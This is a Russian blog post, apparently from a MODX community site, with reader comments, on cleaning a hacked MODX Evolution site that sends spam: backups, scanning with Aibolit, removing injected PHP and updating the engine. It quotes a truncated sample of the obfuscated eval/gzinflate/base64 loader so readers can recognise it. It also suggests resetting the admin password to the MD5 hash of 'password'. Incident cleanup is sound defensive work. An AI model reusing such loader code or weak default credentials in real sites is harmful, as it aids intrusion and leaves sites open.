Итак, симптомы
- Не происходит переходов по ссылкам в меню сайта
- Не открывается главная страница
- Не открывается админка
- Хостер пишет гневные письма о массовой рассылке СПАМа с Вашего аккаунта и отключает функцию mail()
- В файловой структуре сайта присутствует множество левых файлов и директорий с непонятными названиями.
Причины
Переход по меню не происходит из-за измененного .htaccess. Сайт не открывается из-за измененного index.php, либо заблокированных антивирусом на хостинге системных файлов MODX. Та же причина неработающей админки. СПАМ рассылается вредоносными скриптами, разбросанными по всему сайту.Инструментарий
Во-первых, потребуется доступ по FTP, а лучше по SSH. Удобно использовать клиент WinSCP, поскольку в нем легко архивировать, искать, менять права и т. д.Во-вторых, нужен доступ к базе данных. Можно посредством phpMyAdmin, можно, если хостинг позволяет, локальными методами — не важно.
В-третьих, понадобится антивирус. Я использую Айболит под Win, но можно и что-нибудь другое.
Бэкап
Первым делом создаем резервные копии файловой системы и базы сайта.Поскольку эта зараза иногда меняет права доступа к файлам (да и многие хостеры тоже их ограничивают при подозрении на заражение), то сперва задаем всем директориям права 0755, а файлам 0644. Если на хостинге есть файловый менеджер, который позволяет это делать, то делаем через него, если нет, то используем FTP или SSH. Второе предпочтительнее, поскольку просто на порядок быстрее.
Команды (в WinSCP жмем Ctrl+T, вводим команду и «Выполнить» ):
Для директорий:
find путь_до_сайта_от_корня -type d -exec chmod 0755 {} \;
Для файлов:
find путь_до_сайта_от_корня -type f -exec chmod 0644 {} \;
Путь можно скопировать в буфер, зайдя в папку сайта и нажав Ctrl+].
Теперь (для SSH) выделяем всё и в контекстном меню выбираем «Файловые пользовательские команды -> Tar/GZip». Создаем архив и скачиваем на компьютер.
Если доступ есть только по FTP, попробуйте также посредством WinSCP запаковать сайт через «Файловые пользовательские команды -> ZIP and Upload». Это дольше нежели Tar, но тоже работает.
Ну и, естественно, можно воспользоваться файловым менеджером хостинга. Как правило, на всех современных площадках функция архивирования есть.
Базу бэкапим с хостинга через тот же phpMyAdmin посредством экспорта. Если админка сайта работает, то можно сделать бэкап через меню Инструменты -> Резервное копирование.
Лечение
Скачиваем Айболит и устанавливаем его на компьютер. Распаковываем файлы сайта в директорию site и запускаем файл start.bat из корневой директории антивируса. Можно запустить start_paranoic.bat, но он там частенько ругается на нормальные файлы MODX.После проверки открываем файл отчета,
Как отличить левый или нет. Если в файле только чушь типа:
<?php $oj4228 = "p9;/.5un8xihqoatw2407*e)sf3clbg_k(mjyz6vdr1";$eSkIOV6240 = $oj4228[0].$oj4228[41].$oj4228[22].$oj4228[30].$oj4228[31].$oj4228[41].$oj4228[22].$oj4228[0].$oj4228[28].$oj4228[14].$oj4228[27].$oj4228[22];$mGESa4160 = "".chr(101)."\x76\x61\x6C\x28g".chr(122)."infla\x74\x65\x28".chr(98)."\x61\x73".chr(101)."64".chr(95)."".chr(100)."e".chr(99)."o".chr(100)."".chr(101)."\x28";$mRu8302 = ")\x29\x29;";$pmVy3804 = $mGESa4160."'XZxnr7xed55fx5K/g/WPpScJjulNVl4MvcPQQZYs6tB7//ThFztK5COhOQc2sNl7rXtd98DhH5N9q/5tStb1H/7XP/xVogiG5FmG0wmVY3lCQhBCIiWEpRiKIjn017/8/d/9YzZ24/Kn9X/NS/yvf/kv78+7Ni/KZO+2f0uyrR6Hd/PfhLorVj0Z/vafm+xr8W9Jk1xvo23Zi/+8OauSZS22P4cI6iEfz/V/wggO/9/DTEvx+7elmLokK/7bX+A//w+w+Ouf/vrXi8D/9SKJ9xN+F/ZfL4R6P8l33ef9pN+Ffxfi37f9aUNi/77P/2mH/Mc69N/X..........................
то смело его удаляем. Если, промотав до конца этой ерунды, увидим закрывающий тег PHP, за ним вновь открывающий и начало нормального кода:
<?php
//тут чушь
?> <?php
/*
german.inc.php - for AjaxSearch 1.10.1
Created by: Marc Hinse
Last Modified on 2014-12-09
Description: Language strings for AjaxSearch
*/
$_lang['as_resultsIntroFailur
...............
То это файл нужный. Просто убиваем все, что до нормального кода и так потихоньку вычищаем эти авгиевы конюшни.
Тут два подхода — первый чистить на локальной машине, а потом залить на сервер, второй — чистить сразу на сервере. Я рекомендую второй — оно быстрее.
После того как все файлы почищены, нужно проверить, нет ли на сайте хитрого плагина, который вновь заразит нам всё на свете.
Для этого в phpMyAdmin открываем таблицу modx_site_plugins (префикс таблицы может быть другим) и ищем в в поле plugincode текст:
base64_
Почему бы не поискать в дампе базы? Можно, но как-то раз столкнулся с тем, что там ничего не было:

в коде самого плагина тоже пусто:

А в базе есть (!):

В общем, удаляем дрянь.
Скачиваем свежий дистрибутив от Dmi3yy, восстанавливаем оттуда два файла: .htaccess и index.php, удаляем из директории acess/cache файл siteCache.idx.php и пробуем запустить сайт.
Если получилось, то открываем вновь созданный siteCache.idx.php и пробегаемся поиском на предмет того самого base64_. Если чисто, то злодей из плагинов удален и можно переходить к следующему этапу. Если нет, то снова лезем в базу и ищем негодяя.
Обновление
Если этого не сделать, то через неделю ваш сайтик снова будет поражен заразой и все придется начинать по новой.Итак, снова бекапимся (базу и файлы). Заливаем, скачанный ранее, дистрибутив на сервер, распаковываем и запускаем site.ru/install/
Пробуем открыть админку и т. д. Если все ОК идем в Модули -> Extras и обязательно обновляем всякие MultiPhotos, PHx и т. д., если их используете (основные компоненты обновятся автоматически при установке).
Если не запустилось, то проверяем это, чистим кеш, смотрим логи ошибок и т. д.
Подводные камни при обновлении
Из того, с чем сталкивался чаще всего.Не пускает в админку.
Лезем в базу в таблицу modx_manager_users, прописываем админу в поле password такой хеш:5f4dcc3b5aa765d61d8327deb882cf99
и используем слово password в качестве пароля — потом только не забудьте поменять)). Не работает галерея easy2
Открываем config.inc.php и меняем в 5 строке mysqli на просто mysql, чистим кеш, пробуем работатьПри обновлении Clipper
Нужно убить сниппет List и везде на сайте (в чанках и шаблонах) поменять его вызовы на Ditto.Вообще, при всех глюках первым делом смотрим есть ли в Extras обновление того или иного компонента. Обновляемся, проверяем.
В общем, после всех этих телодвижений у вас будет новый сайт безо всякой заразы. Делайте бекап и спите спокойно )
Dmi3yy 02.12.2016 11:16 #
modx.ru/novosti-i-stati/article/290/
Александр жуков 14.12.2016 17:13 #
какая последняя версия:
modx.evo.custom-1.2-d9.0.3.zip
modx.evo.custom-1.2-d8.1.8.zip
и ее ставить сразу на старую?
Анастасия(F1fanatica) 14.12.2016 17:59 #
Если одна из версий 1.2 — ... Можно сразу ставить на старую, предварительно сделав бэкапы файлов и БД.
Александр жуков 14.12.2016 18:21 #
если она не 1.2, то что делать?
Анастасия(F1fanatica) 14.12.2016 23:36 #
Качайте последний архив, заливайте поверх своих файлов, затем
site.ru/install, обновить предыдущую установку, и на след. страничке выбираете свои снипеты, плагины обновить… Шаблоны, ТВ-шки можно снять галки… Как установится, чистите пути в менеджере и браузере, сохраняете и чистите кэш… Возможно будут локальные ошибки… Пишите-подскажем.
Михаил 02.12.2016 11:43 #
Переходить на MODX Revolution.
Павел Романов 02.12.2016 12:08 #
Dmi3yy 03.12.2016 13:36 #
Поэтому и REVO и EVO по безопасности на одном уровне. И там и там периодически находят дыры в безопасности но и там и там их оперативно закрывают.
p.s. А если есть желания похоливарить на тему EVO REVO то назовите хотя бы с 5-10 объективных причин почему стоит переходить на REVO. Если вам Нравиться REVO не проблема используйте, но насаждать его другим не нужно.
Андрей 05.12.2016 10:10 #
Проверка Айболитом работает адекватно только в параноидальном режиме.
Странно ведет себя проверка через гугловскую рекомендацию «site: название сайта». Продолжает показывать зараженные страницы.
Была поставленна самая свежия версия…
И вот опять, в 6 утра — вносится запись в index.php + два левых файла в папке frames. При том, сайт работает адекватно.
Скриптов пока нигде не обнаружено.
И тут уже вопрос, то ли это глобальная дыра у хостера, то ли новая версия не справилась, то ли непосредственно у меня где-то дыра. Если есть разбирающиеся люди, готов пообщать в личке на предмет выполнения работ по проверке сайта на уязвимость.
Андрей Казунин 05.12.2016 11:35 #
Закачиваем айболита в директорию, где лежат все домены.
Также можно просто пробежаться поиском по всем файлам домена.Заходим в терминал, лезем в свою директорию по-умолчанию. Это команда cd~
Потом проверяем версию php. Вводим php-v
Айболит может писать ошибки, если версия php ниже 5.6. У меня отказался запускаться, например, на 5.3 и 5.4.
Если повезло, и версия свеженькая, то движемся к последнему шагу.
Если нет, то вводим whereis php
Даст список путей. Выбираем нужный.
Запускаем айболита
Всё. Отчёт будет валяться тоже в домашней папке.А, да, если по-умолчанию всё ок с версией, то просто
Ищет в файлах строк base64_decode и логирует в файл.
Павел 06.12.2016 00:57 #
Для новичков поправил бы:
«cd ~» и «php -v» — через пробел
"--mode=2" — два тире.<br />
В моем случае запустить Айболит на хостинге не получилось — прерывается процесс проверки с кодом ошибки 137 (хостинг Timeweb). Прочитал, что это может быть ограничение на хостинге по загрузке процессора более 50%<br />
Поиском по всем файлам домена воспользовался, спасибо :)
Андрей Казунин 06.12.2016 09:34 #
Сергей 09.12.2016 07:39 #
Если бы ещё рекомендации по необходимым запретам в .htaccess дали было бы вообще замечательно.
Vladimir 09.12.2016 08:52 #
Почистили сайт, но вот случилась неприятность — перестали работать превьюшки (миниатюры) картинок:
Сообщение об ошибки в консоле дебага хрома:
Подскажите, пожалуйста, что может быть, чего поправить?
Еще не обновили до 1.2, планируем на выходных, сейчас 1.0.6
Андрей Казунин 09.12.2016 14:58 #
Но у вас тут очень странный путь, что за image.php такой?
Vladimir 09.12.2016 21:30 #
Сам не знаю, думал мне тут подскажут, как вообще формируется этот путь и где его смотреть? :)<br />
Потому как и сам вижу его странным.
Искал поиском на сайте (в папках, через ftp) image.php и не нашел.
Vladimir 09.12.2016 23:40 #
В файле docs\assets\cache\siteCache.idx.php есть такие строчки, где как раз упоминаяется image.php:
Я поменял конфиг, но что то по прежнему URL с image.php
Vladimir 10.12.2016 00:02 #
Действительно, во время чистки удалили файл image.php, который лежал в docs.<br />
Восстановил из бекапа, всё заработало :)
Ольга 13.12.2016 13:29 #
Павел Романов 13.12.2016 13:44 #
Ольга 13.12.2016 13:46 #
Павел Романов 13.12.2016 13:53 #
Ольга 13.12.2016 14:15 #
Павел Романов 13.12.2016 14:27 #
Александр жуков 14.12.2016 16:42 #
Сделал все, как описано, но все равно, где то сидит, как загружаю на хостинг, процессы подскакивают на максимальные. Где еще полазить, чем еще проверить?
Руслан Алеев 13.06.2017 13:52 #